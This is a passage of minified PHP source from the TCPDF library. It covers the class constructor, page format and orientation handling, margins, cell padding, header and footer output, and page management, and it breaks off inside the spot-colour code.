$tcpdflink=true; var $gdgammacache=array(); function __construct($orientation='P',$unit='mm',$format='A4',$unicode=true,$encoding='UTF-8',$diskcache=false,$pdfa=false){if(function_exists('mb_internal_encoding') AND mb_internal_encoding()){$this->internal_encoding=mb_internal_encoding();mb_internal_encoding('ASCII');}$serformat=(is_array($format)?json_encode($format):$format);$this->file_id=md5(TCPDF_STATIC::getRandomSeed('TCPDF'.$orientation.$unit.$serformat.$encoding));$this->font_obj_ids=array();$this->page_obj_id=array();$this->form_obj_id=array();$this->pdfa_mode=$pdfa;$this->force_srgb=false;$this->rtl=false;$this->tmprtl=false;$this->_dochecks();$this->isunicode=$unicode;$this->page=0;$this->transfmrk[0]=array();$this->pagedim=array();$this->n=2;$this->buffer='';$this->pages=array();$this->state=0;$this->fonts=array();$this->FontFiles=array();$this->diffs=array();$this->images=array();$this->links=array();$this->gradients=array();$this->InFooter=false;$this->lasth=0;$this->FontFamily=defined('PDF_FONT_NAME_MAIN')?PDF_FONT_NAME_MAIN:'helvetica';$this->FontStyle='';$this->FontSizePt=12;$this->underline=false;$this->overline=false;$this->linethrough=false;$this->DrawColor='0 G';$this->FillColor='0 g';$this->TextColor='0 g';$this->ColorFlag=false;$this->pdflayers=array();$this->encrypted=false;$this->last_enc_key='';$this->CoreFonts=array('courier'=>'Courier','courierB'=>'Courier-Bold','courierI'=>'Courier-Oblique','courierBI'=>'Courier-BoldOblique','helvetica'=>'Helvetica','helveticaB'=>'Helvetica-Bold','helveticaI'=>'Helvetica-Oblique','helveticaBI'=>'Helvetica-BoldOblique','times'=>'Times-Roman','timesB'=>'Times-Bold','timesI'=>'Times-Italic','timesBI'=>'Times-BoldItalic','symbol'=>'Symbol','zapfdingbats'=>'ZapfDingbats');$this->setPageUnit($unit);$this->setPageFormat($format,$orientation);$margin=28.35/$this->k;$this->SetMargins($margin,$margin);$this->clMargin=$this->lMargin;$this->crMargin=$this->rMargin;$cpadding=$margin/10;$this->setCellPaddings($cpadding,0,$cpadding,0);$this->setCellMargins(0,0,0,0);$this->LineWidth=0.57/$this->k;$this->linestyleWidth=sprintf('%F w',($this->LineWidth*$this->k));$this->linestyleCap='0 J';$this->linestyleJoin='0 j';$this->linestyleDash='[] 0 d';$this->SetAutoPageBreak(true,(2*$margin));$this->SetDisplayMode('fullwidth');$this->SetCompression();$this->setPDFVersion();$this->tcpdflink=true;$this->encoding=$encoding;$this->HREF=array();$this->fgcolor=array('R'=>0,'G'=>0,'B'=>0);$this->strokecolor=array('R'=>0,'G'=>0,'B'=>0);$this->bgcolor=array('R'=>255,'G'=>255,'B'=>255);$this->extgstates=array();$this->setTextShadow();$this->sign=false;$this->tsa_timestamp=false;$this->tsa_data=array();$this->signature_appearance=array('page'=>1,'rect'=>'0 0 0 0','name'=>'Signature');$this->empty_signature_appearance=array();$this->ur['enabled']=false;$this->ur['document']='/FullSave';$this->ur['annots']='/Create/Delete/Modify/Copy/Import/Export';$this->ur['form']='/Add/Delete/FillIn/Import/Export/SubmitStandalone/SpawnTemplate';$this->ur['signature']='/Modify';$this->ur['ef']='/Create/Delete/Modify/Import';$this->ur['formex']='';$this->jpeg_quality=75;TCPDF_FONTS::utf8Bidi(array(''),'',false,$this->isunicode,$this->CurrentFont);$this->SetFont($this->FontFamily,$this->FontStyle,$this->FontSizePt);$this->setHeaderFont(array($this->FontFamily,$this->FontStyle,$this->FontSizePt));$this->setFooterFont(array($this->FontFamily,$this->FontStyle,$this->FontSizePt));if($this->isunicode AND (@preg_match('/\pL/u','a')==1)){$this->setSpacesRE('/(?!)[\s\p{Z}]/u');}else {$this->setSpacesRE('/[^\S]/');}$this->default_form_prop=array('lineWidth'=>1,'borderStyle'=>'solid','fillColor'=>array(255,255,255),'strokeColor'=>array(128,128,128));$this->doc_creation_timestamp=time();$this->doc_modification_timestamp=$this->doc_creation_timestamp;$this->default_graphic_vars=$this->getGraphicVars();$this->header_xobj_autoreset=false;$this->custom_xmp='';register_shutdown_function(array($this,'_destroy'),true);} function __destruct(){if(isset($this->internal_encoding) AND !empty($this->internal_encoding)){mb_internal_encoding($this->internal_encoding);}$this->_destroy(true);} function setPageUnit($unit){$unit=strtolower($unit);switch($unit){case 'px':case 'pt':{$this->k=1;break;}case 'mm':{$this->k=$this->dpi/25.4;break;}case 'cm':{$this->k=$this->dpi/2.54;break;}case 'in':{$this->k=$this->dpi;break;}default:{$this->Error('Incorrect unit: '.$unit);break;}}$this->pdfunit=$unit;if(isset($this->CurOrientation)){$this->setPageOrientation($this->CurOrientation);}} function setPageFormat($format,$orientation='P'){if(!empty($format) AND isset($this->pagedim[$this->page])){unset($this->pagedim[$this->page]);}if(is_string($format)){$pf=TCPDF_STATIC::getPageSizeFromFormat($format);$this->fwPt=$pf[0];$this->fhPt=$pf[1];}else {if(isset($format['MediaBox'])){$this->pagedim=TCPDF_STATIC::setPageBoxes($this->page,'MediaBox',$format['MediaBox']['llx'],$format['MediaBox']['lly'],$format['MediaBox']['urx'],$format['MediaBox']['ury'],false,$this->k,$this->pagedim);$this->fwPt=(($format['MediaBox']['urx']-$format['MediaBox']['llx'])*$this->k);$this->fhPt=(($format['MediaBox']['ury']-$format['MediaBox']['lly'])*$this->k);}else {if(isset($format[0]) AND is_numeric($format[0]) AND isset($format[1]) AND is_numeric($format[1])){$pf=array(($format[0]*$this->k),($format[1]*$this->k));}else {if(!isset($format['format'])){$format['format']='A4';}$pf=TCPDF_STATIC::getPageSizeFromFormat($format['format']);}$this->fwPt=$pf[0];$this->fhPt=$pf[1];$this->pagedim=TCPDF_STATIC::setPageBoxes($this->page,'MediaBox',0,0,$this->fwPt,$this->fhPt,true,$this->k,$this->pagedim);}if(isset($format['CropBox'])){$this->pagedim=TCPDF_STATIC::setPageBoxes($this->page,'CropBox',$format['CropBox']['llx'],$format['CropBox']['lly'],$format['CropBox']['urx'],$format['CropBox']['ury'],false,$this->k,$this->pagedim);}if(isset($format['BleedBox'])){$this->pagedim=TCPDF_STATIC::setPageBoxes($this->page,'BleedBox',$format['BleedBox']['llx'],$format['BleedBox']['lly'],$format['BleedBox']['urx'],$format['BleedBox']['ury'],false,$this->k,$this->pagedim);}if(isset($format['TrimBox'])){$this->pagedim=TCPDF_STATIC::setPageBoxes($this->page,'TrimBox',$format['TrimBox']['llx'],$format['TrimBox']['lly'],$format['TrimBox']['urx'],$format['TrimBox']['ury'],false,$this->k,$this->pagedim);}if(isset($format['ArtBox'])){$this->pagedim=TCPDF_STATIC::setPageBoxes($this->page,'ArtBox',$format['ArtBox']['llx'],$format['ArtBox']['lly'],$format['ArtBox']['urx'],$format['ArtBox']['ury'],false,$this->k,$this->pagedim);}if(isset($format['BoxColorInfo'])){$this->pagedim[$this->page]['BoxColorInfo']=$format['BoxColorInfo'];}if(isset($format['Rotate']) AND (($format['Rotate']%90)==0)){$this->pagedim[$this->page]['Rotate']=intval($format['Rotate']);}if(isset($format['PZ'])){$this->pagedim[$this->page]['PZ']=floatval($format['PZ']);}if(isset($format['trans'])){if(isset($format['trans']['Dur'])){$this->pagedim[$this->page]['trans']['Dur']=floatval($format['trans']['Dur']);}$stansition_styles=array('Split','Blinds','Box','Wipe','Dissolve','Glitter','R','Fly','Push','Cover','Uncover','Fade');if(isset($format['trans']['S']) AND in_array($format['trans']['S'],$stansition_styles)){$this->pagedim[$this->page]['trans']['S']=$format['trans']['S'];$valid_effect=array('Split','Blinds');$valid_vals=array('H','V');if(isset($format['trans']['Dm']) AND in_array($format['trans']['S'],$valid_effect) AND in_array($format['trans']['Dm'],$valid_vals)){$this->pagedim[$this->page]['trans']['Dm']=$format['trans']['Dm'];}$valid_effect=array('Split','Box','Fly');$valid_vals=array('I','O');if(isset($format['trans']['M']) AND in_array($format['trans']['S'],$valid_effect) AND in_array($format['trans']['M'],$valid_vals)){$this->pagedim[$this->page]['trans']['M']=$format['trans']['M'];}$valid_effect=array('Wipe','Glitter','Fly','Cover','Uncover','Push');if(isset($format['trans']['Di']) AND in_array($format['trans']['S'],$valid_effect)){if(((($format['trans']['Di']==90) OR ($format['trans']['Di']==180)) AND ($format['trans']['S']=='Wipe')) OR (($format['trans']['Di']==315) AND ($format['trans']['S']=='Glitter')) OR (($format['trans']['Di']==0) OR ($format['trans']['Di']==270))){$this->pagedim[$this->page]['trans']['Di']=intval($format['trans']['Di']);}}if(isset($format['trans']['SS']) AND ($format['trans']['S']=='Fly')){$this->pagedim[$this->page]['trans']['SS']=floatval($format['trans']['SS']);}if(isset($format['trans']['B']) AND ($format['trans']['B']===true) AND ($format['trans']['S']=='Fly')){$this->pagedim[$this->page]['trans']['B']='true';}}else {$this->pagedim[$this->page]['trans']['S']='R';}if(isset($format['trans']['D'])){$this->pagedim[$this->page]['trans']['D']=floatval($format['trans']['D']);}else {$this->pagedim[$this->page]['trans']['D']=1;}}}$this->setPageOrientation($orientation);} function setPageOrientation($orientation,$autopagebreak='',$bottommargin=''){if(!isset($this->pagedim[$this->page]['MediaBox'])){$this->pagedim=TCPDF_STATIC::setPageBoxes($this->page,'MediaBox',0,0,$this->fwPt,$this->fhPt,true,$this->k,$this->pagedim);}if(!isset($this->pagedim[$this->page]['CropBox'])){$this->pagedim=TCPDF_STATIC::setPageBoxes($this->page,'CropBox',$this->pagedim[$this->page]['MediaBox']['llx'],$this->pagedim[$this->page]['MediaBox']['lly'],$this->pagedim[$this->page]['MediaBox']['urx'],$this->pagedim[$this->page]['MediaBox']['ury'],true,$this->k,$this->pagedim);}if(!isset($this->pagedim[$this->page]['BleedBox'])){$this->pagedim=TCPDF_STATIC::setPageBoxes($this->page,'BleedBox',$this->pagedim[$this->page]['CropBox']['llx'],$this->pagedim[$this->page]['CropBox']['lly'],$this->pagedim[$this->page]['CropBox']['urx'],$this->pagedim[$this->page]['CropBox']['ury'],true,$this->k,$this->pagedim);}if(!isset($this->pagedim[$this->page]['TrimBox'])){$this->pagedim=TCPDF_STATIC::setPageBoxes($this->page,'TrimBox',$this->pagedim[$this->page]['CropBox']['llx'],$this->pagedim[$this->page]['CropBox']['lly'],$this->pagedim[$this->page]['CropBox']['urx'],$this->pagedim[$this->page]['CropBox']['ury'],true,$this->k,$this->pagedim);}if(!isset($this->pagedim[$this->page]['ArtBox'])){$this->pagedim=TCPDF_STATIC::setPageBoxes($this->page,'ArtBox',$this->pagedim[$this->page]['CropBox']['llx'],$this->pagedim[$this->page]['CropBox']['lly'],$this->pagedim[$this->page]['CropBox']['urx'],$this->pagedim[$this->page]['CropBox']['ury'],true,$this->k,$this->pagedim);}if(!isset($this->pagedim[$this->page]['Rotate'])){$this->pagedim[$this->page]['Rotate']=0;}if(!isset($this->pagedim[$this->page]['PZ'])){$this->pagedim[$this->page]['PZ']=1;}if($this->fwPt>$this->fhPt){$default_orientation='L';}else {$default_orientation='P';}$valid_orientations=array('P','L');if(empty($orientation)){$orientation=$default_orientation;}else {$orientation=strtoupper($orientation[0]);}if(in_array($orientation,$valid_orientations) AND ($orientation!=$default_orientation)){$this->CurOrientation=$orientation;$this->wPt=$this->fhPt;$this->hPt=$this->fwPt;}else {$this->CurOrientation=$default_orientation;$this->wPt=$this->fwPt;$this->hPt=$this->fhPt;}if((abs($this->pagedim[$this->page]['MediaBox']['urx']-$this->hPt)<$this->feps) AND (abs($this->pagedim[$this->page]['MediaBox']['ury']-$this->wPt)<$this->feps)){$this->pagedim=TCPDF_STATIC::swapPageBoxCoordinates($this->page,$this->pagedim);}$this->w=($this->wPt/$this->k);$this->h=($this->hPt/$this->k);if(TCPDF_STATIC::empty_string($autopagebreak)){if(isset($this->AutoPageBreak)){$autopagebreak=$this->AutoPageBreak;}else {$autopagebreak=true;}}if(TCPDF_STATIC::empty_string($bottommargin)){if(isset($this->bMargin)){$bottommargin=$this->bMargin;}else {$bottommargin=2*28.35/$this->k;}}$this->SetAutoPageBreak($autopagebreak,$bottommargin);$this->pagedim[$this->page]['w']=$this->wPt;$this->pagedim[$this->page]['h']=$this->hPt;$this->pagedim[$this->page]['wk']=$this->w;$this->pagedim[$this->page]['hk']=$this->h;$this->pagedim[$this->page]['tm']=$this->tMargin;$this->pagedim[$this->page]['bm']=$bottommargin;$this->pagedim[$this->page]['lm']=$this->lMargin;$this->pagedim[$this->page]['rm']=$this->rMargin;$this->pagedim[$this->page]['pb']=$autopagebreak;$this->pagedim[$this->page]['or']=$this->CurOrientation;$this->pagedim[$this->page]['olm']=$this->original_lMargin;$this->pagedim[$this->page]['orm']=$this->original_rMargin;} function setSpacesRE($re='/[^\S]/'){$this->re_spaces=$re;$re_parts=explode('/',$re);$this->re_space=array();if(isset($re_parts[1]) AND !empty($re_parts[1])){$this->re_space['p']=$re_parts[1];}else {$this->re_space['p']='[\s]';}if(isset($re_parts[2]) AND !empty($re_parts[2])){$this->re_space['m']=$re_parts[2];}else {$this->re_space['m']='';}} function setRTL($enable,$resetx=true){$enable=$enable?true:false;$resetx=($resetx AND ($enable!=$this->rtl));$this->rtl=$enable;$this->tmprtl=false;if($resetx){$this->Ln(0);}} function getRTL(){return $this->rtl;} function setTempRTL($mode){$newmode=false;switch(strtoupper($mode)){case 'LTR':case 'L':{if($this->rtl){$newmode='L';}break;}case 'RTL':case 'R':{if(!$this->rtl){$newmode='R';}break;}case false:default:{$newmode=false;break;}}$this->tmprtl=$newmode;} function isRTLTextDir(){return ($this->rtl OR ($this->tmprtl=='R'));} function setLastH($h){$this->lasth=$h;} function getCellHeight($fontsize,$padding=TRUE){$height=($fontsize*$this->cell_height_ratio);if($padding){$height+=($this->cell_padding['T']+$this->cell_padding['B']);}return round($height,6);} function resetLastH(){$this->lasth=$this->getCellHeight($this->FontSize);} function getLastH(){return $this->lasth;} function setImageScale($scale){$this->imgscale=$scale;} function getImageScale(){return $this->imgscale;} function getPageDimensions($pagenum=''){if(empty($pagenum)){$pagenum=$this->page;}return $this->pagedim[$pagenum];} function getPageWidth($pagenum=''){if(empty($pagenum)){return $this->w;}return $this->pagedim[$pagenum]['w'];} function getPageHeight($pagenum=''){if(empty($pagenum)){return $this->h;}return $this->pagedim[$pagenum]['h'];} function getBreakMargin($pagenum=''){if(empty($pagenum)){return $this->bMargin;}return $this->pagedim[$pagenum]['bm'];} function getScaleFactor(){return $this->k;} function SetMargins($left,$top,$right=-1,$keepmargins=false){$this->lMargin=$left;$this->tMargin=$top;if($right==-1){$right=$left;}$this->rMargin=$right;if($keepmargins){$this->original_lMargin=$this->lMargin;$this->original_rMargin=$this->rMargin;}} function SetLeftMargin($margin){$this->lMargin=$margin;if(($this->page>0) AND ($this->x<$margin)){$this->x=$margin;}} function SetTopMargin($margin){$this->tMargin=$margin;if(($this->page>0) AND ($this->y<$margin)){$this->y=$margin;}} function SetRightMargin($margin){$this->rMargin=$margin;if(($this->page>0) AND ($this->x>($this->w-$margin))){$this->x=$this->w-$margin;}} function SetCellPadding($pad){if($pad>=0){$this->cell_padding['L']=$pad;$this->cell_padding['T']=$pad;$this->cell_padding['R']=$pad;$this->cell_padding['B']=$pad;}} function setCellPaddings($left='',$top='',$right='',$bottom=''){if(($left!=='') AND ($left>=0)){$this->cell_padding['L']=$left;}if(($top!=='') AND ($top>=0)){$this->cell_padding['T']=$top;}if(($right!=='') AND ($right>=0)){$this->cell_padding['R']=$right;}if(($bottom!=='') AND ($bottom>=0)){$this->cell_padding['B']=$bottom;}} function getCellPaddings(){return $this->cell_padding;} function setCellMargins($left='',$top='',$right='',$bottom=''){if(($left!=='') AND ($left>=0)){$this->cell_margin['L']=$left;}if(($top!=='') AND ($top>=0)){$this->cell_margin['T']=$top;}if(($right!=='') AND ($right>=0)){$this->cell_margin['R']=$right;}if(($bottom!=='') AND ($bottom>=0)){$this->cell_margin['B']=$bottom;}} function getCellMargins(){return $this->cell_margin;} function adjustCellPadding($brd=0){if(empty($brd)){return;}if(is_string($brd)){$slen=strlen($brd);$newbrd=array();for($i=0;$i<$slen;++$i){$newbrd[$brd[$i]]=true;}$brd=$newbrd;}elseif(($brd===1) OR ($brd===true) OR (is_numeric($brd) AND (intval($brd)>0))){$brd=array('LRTB'=>true);}if(!is_array($brd)){return;}$cp=$this->cell_padding;if(isset($brd['mode'])){$mode=$brd['mode'];unset($brd['mode']);}else {$mode='normal';}foreach($brd as $border=>$style){$line_width=$this->LineWidth;if(is_array($style) AND isset($style['width'])){$line_width=$style['width'];}$adj=0;switch($mode){case 'ext':{$adj=0;break;}case 'int':{$adj=$line_width;break;}case 'normal':default:{$adj=($line_width/2);break;}}if((strpos($border,'T')!==false) AND ($this->cell_padding['T']<$adj)){$this->cell_padding['T']=$adj;}if((strpos($border,'R')!==false) AND ($this->cell_padding['R']<$adj)){$this->cell_padding['R']=$adj;}if((strpos($border,'B')!==false) AND ($this->cell_padding['B']<$adj)){$this->cell_padding['B']=$adj;}if((strpos($border,'L')!==false) AND ($this->cell_padding['L']<$adj)){$this->cell_padding['L']=$adj;}}return array('T'=>($this->cell_padding['T']-$cp['T']),'R'=>($this->cell_padding['R']-$cp['R']),'B'=>($this->cell_padding['B']-$cp['B']),'L'=>($this->cell_padding['L']-$cp['L']));} function SetAutoPageBreak($auto,$margin=0){$this->AutoPageBreak=$auto?true:false;$this->bMargin=$margin;$this->PageBreakTrigger=$this->h-$margin;} function getAutoPageBreak(){return $this->AutoPageBreak;} function SetDisplayMode($zoom,$layout='SinglePage',$mode='UseNone'){if(($zoom=='fullpage') OR ($zoom=='fullwidth') OR ($zoom=='real') OR ($zoom=='default') OR (!is_string($zoom))){$this->ZoomMode=$zoom;}else {$this->Error('Incorrect zoom display mode: '.$zoom);}$this->LayoutMode=TCPDF_STATIC::getPageLayoutMode($layout);$this->PageMode=TCPDF_STATIC::getPageMode($mode);} function SetCompression($compress=true){if(function_exists('gzcompress')){$this->compress=$compress?true:false;}else {$this->compress=false;}} function setSRGBmode($mode=false){$this->force_srgb=$mode?true:false;} function SetDocInfoUnicode($unicode=true){$this->docinfounicode=$unicode?true:false;} function SetTitle($title){$this->title=$title;} function SetSubject($subject){$this->subject=$subject;} function SetAuthor($author){$this->author=$author;} function SetKeywords($keywords){$this->keywords=$keywords;} function SetCreator($creator){$this->creator=$creator;} function Error($msg){$this->_destroy(true);if(defined('K_TCPDF_THROW_EXCEPTION_ERROR') AND !K_TCPDF_THROW_EXCEPTION_ERROR){die('<strong>TCPDF ERROR: </strong>'.$msg);}else { throw new Exception('TCPDF ERROR: '.$msg);}} function Open(){$this->state=1;} function Close(){if($this->state==3){return;}if($this->page==0){$this->AddPage();}$this->endLayer();if($this->tcpdflink){$gvars=$this->getGraphicVars();$this->setEqualColumns();$this->lastpage(true);$this->SetAutoPageBreak(false);$this->x=0;$this->y=$this->h-(1/$this->k);$this->lMargin=0;$this->_outSaveGraphicsState();$font=defined('PDF_FONT_NAME_MAIN')?PDF_FONT_NAME_MAIN:'helvetica';$this->SetFont($font,'',1);$this->setTextRenderingMode(0,false,false);$msg="Powered by TCPDF (www.tcpdf.org)";$lnk="http://www.tcpdf.org";$this->Cell(0,0,$msg,0,0,'L',0,$lnk,0,false,'D','B');$this->_outRestoreGraphicsState();$this->setGraphicVars($gvars);}$this->endPage();$this->_enddoc();$this->_destroy(false);} function setPage($pnum,$resetmargins=false){if(($pnum==$this->page) AND ($this->state==2)){return;}if(($pnum>0) AND ($pnum<=$this->numpages)){$this->state=2;$oldpage=$this->page;$this->page=$pnum;$this->wPt=$this->pagedim[$this->page]['w'];$this->hPt=$this->pagedim[$this->page]['h'];$this->w=$this->pagedim[$this->page]['wk'];$this->h=$this->pagedim[$this->page]['hk'];$this->tMargin=$this->pagedim[$this->page]['tm'];$this->bMargin=$this->pagedim[$this->page]['bm'];$this->original_lMargin=$this->pagedim[$this->page]['olm'];$this->original_rMargin=$this->pagedim[$this->page]['orm'];$this->AutoPageBreak=$this->pagedim[$this->page]['pb'];$this->CurOrientation=$this->pagedim[$this->page]['or'];$this->SetAutoPageBreak($this->AutoPageBreak,$this->bMargin);if($resetmargins){$this->lMargin=$this->pagedim[$this->page]['olm'];$this->rMargin=$this->pagedim[$this->page]['orm'];$this->SetY($this->tMargin);}else {if($this->pagedim[$this->page]['olm']!=$this->pagedim[$oldpage]['olm']){$deltam=$this->pagedim[$this->page]['olm']-$this->pagedim[$this->page]['orm'];$this->lMargin+=$deltam;$this->rMargin-=$deltam;}}}else {$this->Error('Wrong page number on setPage() function: '.$pnum);}} function lastPage($resetmargins=false){$this->setPage($this->getNumPages(),$resetmargins);} function getPage(){return $this->page;} function getNumPages(){return $this->numpages;} function addTOCPage($orientation='',$format='',$keepmargins=false){$this->AddPage($orientation,$format,$keepmargins,true);} function endTOCPage(){$this->endPage(true);} function AddPage($orientation='',$format='',$keepmargins=false,$tocpage=false){if($this->inxobj){return;}if(!isset($this->original_lMargin) OR $keepmargins){$this->original_lMargin=$this->lMargin;}if(!isset($this->original_rMargin) OR $keepmargins){$this->original_rMargin=$this->rMargin;}$this->endPage();$this->startPage($orientation,$format,$tocpage);} function endPage($tocpage=false){if(($this->page==0) OR ($this->numpages>$this->page) OR (!$this->pageopen[$this->page])){return;}$this->setFooter();$this->_endpage();$this->pageopen[$this->page]=false;if($tocpage){$this->tocpage=false;}} function startPage($orientation='',$format='',$tocpage=false){if($tocpage){$this->tocpage=true;}if($this->tocpage){$tmpoutlines=$this->outlines;foreach($tmpoutlines as $key=>$outline){if(!$outline['f'] AND ($outline['p']>$this->numpages)){$this->outlines[$key]['p']=($outline['p']+1);}}$tmpdests=$this->dests;foreach($tmpdests as $key=>$dest){if(!$dest['f'] AND ($dest['p']>$this->numpages)){$this->dests[$key]['p']=($dest['p']+1);}}$tmplinks=$this->links;foreach($tmplinks as $key=>$link){if(!$link['f'] AND ($link['p']>$this->numpages)){$this->links[$key]['p']=($link['p']+1);}}}if($this->numpages>$this->page){$this->setPage($this->page+1);$this->SetY($this->tMargin);return;}if($this->state==0){$this->Open();}++$this->numpages;$this->swapMargins($this->booklet);$gvars=$this->getGraphicVars();$this->_beginpage($orientation,$format);$this->pageopen[$this->page]=true;$this->setGraphicVars($gvars);$this->setPageMark();$this->setHeader();$this->setGraphicVars($gvars);$this->setPageMark();$this->setTableHeader();$this->emptypagemrk[$this->page]=$this->pagelen[$this->page];} function setPageMark(){$this->intmrk[$this->page]=$this->pagelen[$this->page];$this->bordermrk[$this->page]=$this->intmrk[$this->page];$this->setContentMark();} function setContentMark($page=0){if($page<=0){$page=$this->page;}if(isset($this->footerlen[$page])){$this->cntmrk[$page]=$this->pagelen[$page]-$this->footerlen[$page];}else {$this->cntmrk[$page]=$this->pagelen[$page];}} function setHeaderData($ln='',$lw=0,$ht='',$hs='',$tc=array(0,0,0),$lc=array(0,0,0)){$this->header_logo=$ln;$this->header_logo_width=$lw;$this->header_title=$ht;$this->header_string=$hs;$this->header_text_color=$tc;$this->header_line_color=$lc;} function setFooterData($tc=array(0,0,0),$lc=array(0,0,0)){$this->footer_text_color=$tc;$this->footer_line_color=$lc;} function getHeaderData(){$ret=array();$ret['logo']=$this->header_logo;$ret['logo_width']=$this->header_logo_width;$ret['title']=$this->header_title;$ret['string']=$this->header_string;$ret['text_color']=$this->header_text_color;$ret['line_color']=$this->header_line_color;return $ret;} function setHeaderMargin($hm=10){$this->header_margin=$hm;} function getHeaderMargin(){return $this->header_margin;} function setFooterMargin($fm=10){$this->footer_margin=$fm;} function getFooterMargin(){return $this->footer_margin;} function setPrintHeader($val=true){$this->print_header=$val?true:false;} function setPrintFooter($val=true){$this->print_footer=$val?true:false;} function getImageRBX(){return $this->img_rb_x;} function getImageRBY(){return $this->img_rb_y;} function resetHeaderTemplate(){$this->header_xobjid=false;} function setHeaderTemplateAutoreset($val=true){$this->header_xobj_autoreset=$val?true:false;} function Header(){if($this->header_xobjid===false){$this->header_xobjid=$this->startTemplate($this->w,$this->tMargin);$headerfont=$this->getHeaderFont();$headerdata=$this->getHeaderData();$this->y=$this->header_margin;if($this->rtl){$this->x=$this->w-$this->original_rMargin;}else {$this->x=$this->original_lMargin;}$cell_height=$this->getCellHeight($headerfont[2]/$this->k);if($this->getRTL()){$header_x=$this->original_rMargin+($headerdata['logo_width']*1.1);}else {$header_x=$this->original_lMargin+($headerdata['logo_width']*1.1);}$cw=$this->w-$this->original_lMargin-$this->original_rMargin-($headerdata['logo_width']*1.1);$this->SetTextColorArray($this->header_text_color);$this->SetFont($headerfont[0],'B',$headerfont[2]+1);$this->SetX($header_x);$this->Cell($cw,$cell_height,$headerdata['title'],0,1,'',0,'',0);$this->SetFont($headerfont[0],$headerfont[1],$headerfont[2]);$this->SetX($header_x);$this->MultiCell($cw,$cell_height,$headerdata['string'],0,'',0,1,'','',true,0,false,true,0,'T',false);$this->SetLineStyle(array('width'=>0.85/$this->k,'cap'=>'butt','join'=>'miter','dash'=>0,'color'=>$headerdata['line_color']));$this->SetY((2.835/$this->k)+max(0,$this->y));if($this->rtl){$this->SetX($this->original_rMargin);}else {$this->SetX($this->original_lMargin);}$this->Cell(($this->w-$this->original_lMargin-$this->original_rMargin),0,'','T',0,'C');$this->endTemplate();}$x=0;$dx=0;if(!$this->header_xobj_autoreset AND $this->booklet AND (($this->page%2)==0)){$dx=($this->original_lMargin-$this->original_rMargin);}if($this->rtl){$x=$this->w+$dx;}else {$x=0+$dx;}$this->printTemplate($this->header_xobjid,$x,0,0,0,'','',false);if($this->header_xobj_autoreset){$this->header_xobjid=false;}} function Footer(){} function setHeader(){if(!$this->print_header OR ($this->state!=2)){return;}$this->InHeader=true;$this->setGraphicVars($this->default_graphic_vars);$temp_thead=$this->thead;$temp_theadMargins=$this->theadMargins;$lasth=$this->lasth;$newline=$this->newline;$this->_outSaveGraphicsState();$this->rMargin=$this->original_rMargin;$this->lMargin=$this->original_lMargin;$this->SetCellPadding(0);if($this->rtl){$this->SetXY($this->original_rMargin,$this->header_margin);}else {$this->SetXY($this->original_lMargin,$this->header_margin);}$this->SetFont($this->header_font[0],$this->header_font[1],$this->header_font[2]);$this->Header();if($this->rtl){$this->SetXY($this->original_rMargin,$this->tMargin);}else {$this->SetXY($this->original_lMargin,$this->tMargin);}$this->_outRestoreGraphicsState();$this->lasth=$lasth;$this->thead=$temp_thead;$this->theadMargins=$temp_theadMargins;$this->newline=$newline;$this->InHeader=false;} function setFooter(){if($this->state!=2){return;}$this->InFooter=true;$gvars=$this->getGraphicVars();$this->footerpos[$this->page]=$this->pagelen[$this->page];$this->_out("
");if($this->print_footer){$this->setGraphicVars($this->default_graphic_vars);$this->current_column=0;$this->num_columns=1;$temp_thead=$this->thead;$temp_theadMargins=$this->theadMargins;$lasth=$this->lasth;$this->_outSaveGraphicsState();$this->rMargin=$this->original_rMargin;$this->lMargin=$this->original_lMargin;$this->SetCellPadding(0);$footer_y=$this->h-$this->footer_margin;if($this->rtl){$this->SetXY($this->original_rMargin,$footer_y);}else {$this->SetXY($this->original_lMargin,$footer_y);}$this->SetFont($this->footer_font[0],$this->footer_font[1],$this->footer_font[2]);$this->Footer();if($this->rtl){$this->SetXY($this->original_rMargin,$this->tMargin);}else {$this->SetXY($this->original_lMargin,$this->tMargin);}$this->_outRestoreGraphicsState();$this->lasth=$lasth;$this->thead=$temp_thead;$this->theadMargins=$temp_theadMargins;}$this->setGraphicVars($gvars);$this->current_column=$gvars['current_column'];$this->num_columns=$gvars['num_columns'];$this->footerlen[$this->page]=$this->pagelen[$this->page]-$this->footerpos[$this->page]+1;$this->InFooter=false;} function inPageBody(){return (($this->InHeader===false) AND ($this->InFooter===false));} function setTableHeader(){if($this->num_columns>1){return;}if(isset($this->theadMargins['top'])){$this->tMargin=$this->theadMargins['top'];$this->pagedim[$this->page]['tm']=$this->tMargin;$this->y=$this->tMargin;}if(!TCPDF_STATIC::empty_string($this->thead) AND (!$this->inthead)){$prev_lMargin=$this->lMargin;$prev_rMargin=$this->rMargin;$prev_cell_padding=$this->cell_padding;$this->lMargin=$this->theadMargins['lmargin']+($this->pagedim[$this->page]['olm']-$this->pagedim[$this->theadMargins['page']]['olm']);$this->rMargin=$this->theadMargins['rmargin']+($this->pagedim[$this->page]['orm']-$this->pagedim[$this->theadMargins['page']]['orm']);$this->cell_padding=$this->theadMargins['cell_padding'];if($this->rtl){$this->x=$this->w-$this->rMargin;}else {$this->x=$this->lMargin;}if($this->theadMargins['cell']){if($this->rtl){$this->x-=$this->cell_padding['R'];}else {$this->x+=$this->cell_padding['L'];}}$gvars=$this->getGraphicVars();if(!empty($this->theadMargins['gvars'])){$this->setGraphicVars($this->theadMargins['gvars']);$this->rMargin=$gvars['rMargin'];$this->lMargin=$gvars['lMargin'];}$this->writeHTML($this->thead,false,false,false,false,'');$this->setGraphicVars($gvars);if(!isset($this->theadMargins['top'])){$this->theadMargins['top']=$this->tMargin;}if(!isset($this->columns[0]['th'])){$this->columns[0]['th']=array();}$this->columns[0]['th']['\''.$this->page.'\'']=$this->y;$this->tMargin=$this->y;$this->pagedim[$this->page]['tm']=$this->tMargin;$this->lasth=0;$this->lMargin=$prev_lMargin;$this->rMargin=$prev_rMargin;$this->cell_padding=$prev_cell_padding;}} function PageNo(){return $this->page;} function getAllSpotColors(){return $this->spot_colors;} function AddSpotColor($name,$c,$m,$y,$k){if(!isset($this->spot_colors[$name])){$i=(1+count($this->spot_colors));$this->spot_colors[$name]=array('C'=>$c,'M'=>$m,'Y'=>$y,'K'=>$k,'name'=>$name,'i'=>$i);}} function setSpotColor($type,$name,$tint=100){$spotcolor=TCPDF_COLORS::getSpotColor($name,$this->spot_colors);if($spotcolor===false){$this->Error('Undefined spot color: '.$name.', you must add it using the AddSpotColor() method.');}$tint=(max(0,min(100,$tint))/100);$pdfcolor=sprintf('/CS%d ',$this->spot_colors[$name]['i']);switch($type){case 'draw':{$pdfcolor.=sprintf('CS %F 